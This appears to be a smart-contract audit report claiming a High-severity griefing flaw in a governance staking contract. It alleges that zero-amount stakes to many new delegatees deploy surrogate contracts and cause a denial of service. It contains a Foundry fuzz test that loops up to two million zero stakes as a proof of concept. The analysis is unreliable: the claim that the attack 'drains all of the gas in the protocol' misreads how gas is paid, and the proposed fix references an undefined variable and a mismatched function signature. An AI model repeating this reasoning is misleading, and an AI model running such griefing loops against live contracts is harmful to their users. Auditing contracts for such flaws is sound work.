Expert Tawny Sawfish
High
A malicious staker/user can completely disrupt the staking functionality of the protocol by a grieifing attack and drain all of the gas in the protocol or raise the gas costs to a level where other stakers might find it difficult to stake.
In the GovernanceStaker::stake()
function there is no zero amount check which is a critical check. A malicious attacker can run an infinite/large loop to drain all of the gas while staking Zero amount .
Each malicious stake permanently deploys a new surrogate contract.
This leads to a complete DOS of the staking functionality of the protocol which is one of the core functionalities.
- Complete DOS of the staking functionality.
- Gas costs permanently increase for all other stakers.
- Drains all of the gas in the protocol.
- Makes the protocol economically unviable to use.
function stake(uint256 _amount, address _delegatee)
external
virtual
returns (DepositIdentifier _depositId)
{
_depositId = _stake(msg.sender, _amount, _delegatee, msg.sender);
}
/// @notice Internal convenience methods which performs the staking operations.
/// @dev This method must only be called after proper authorization has been completed.
/// @dev See public stake methods for additional documentation.
function _stake(address _depositor, uint256 _amount, address _delegatee, address _claimer)
internal
virtual
returns (DepositIdentifier _depositId)
{
_revertIfAddressZero(_delegatee);
_revertIfAddressZero(_claimer);
//e Updates the rewardPerToken
_checkpointGlobalReward();
//e This is a deliberate design choice known as template method . This will be overriden by the
// child contracts' implementation
DelegationSurrogate _surrogate = _fetchOrDeploySurrogate(_delegatee);
_depositId = _useDepositId();
uint256 _earningPower = earningPowerCalculator.getEarningPower(_amount, _depositor, _delegatee);
totalStaked += _amount;
totalEarningPower += _earningPower;
depositorTotalStaked[_depositor] += _amount;
depositorTotalEarningPower[_depositor] += _earningPower;
deposits[_depositId] = Deposit({
balance: _amount.toUint96(),
owner: _depositor,
delegatee: _delegatee,
claimer: _claimer,
earningPower: _earningPower.toUint96(),
rewardPerTokenCheckpoint: rewardPerTokenAccumulatedCheckpoint,
scaledUnclaimedRewardCheckpoint: 0 //e No unclaimed rewards at the beggining
});
//q No tokens are being minted ..?
_stakeTokenSafeTransferFrom(_depositor, address(_surrogate), _amount);
emit StakeDeposited(_depositor, _depositId, _amount, _amount);
emit ClaimerAltered(_depositId, address(0), _claimer);
emit DelegateeAltered(_depositId, address(0), _delegatee);
}
Add the following to staker/test/GovernanceStaker.t.sol
function testFuzz_CanGriefStaking(address attacker,address depositor, uint256 legitimateAmount, address delegatee) public {
vm.assume(attacker != depositor);
vm.assume(attacker != address(0));
vm.assume(depositor != address(0));
legitimateAmount = _boundMintAmount(legitimateAmount);
_mintGovToken(depositor,legitimateAmount);
uint256 initialGas = gasleft();
vm.startPrank(attacker);
for(uint256 i=0;i<2000000;i++){
address maliciousDelegatee = address(uint160(i+1));
try govStaker.stake(0,maliciousDelegatee) {
} catch {
break;
}
}
vm.stopPrank();
// Recording gas consumed
uint256 gasConsumed = initialGas - gasleft();
// Now a legitimate depositor tries to stake
vm.startPrank(depositor);
vm.expectRevert();
govStaker.stake(legitimateAmount, delegatee);
vm.stopPrank();
// Assert the attack's impact
assertGt(gasConsumed, 1000000, "Attack should consume significant gas");
console2.log("Gas consumed by attack:", gasConsumed);
}
- Manual Review
- Foundry
- Add a zero amount validation to the
GovernanceStaker.sol
function stake(uint256 _amount, address _delegatee, address _claimer)
external
virtual
returns (DepositIdentifier _depositId)
{
+++ require(amount >0 , "Cannot stake zero amount") ;
_depositId = _stake(msg.sender, _amount, _delegatee, _claimer);
}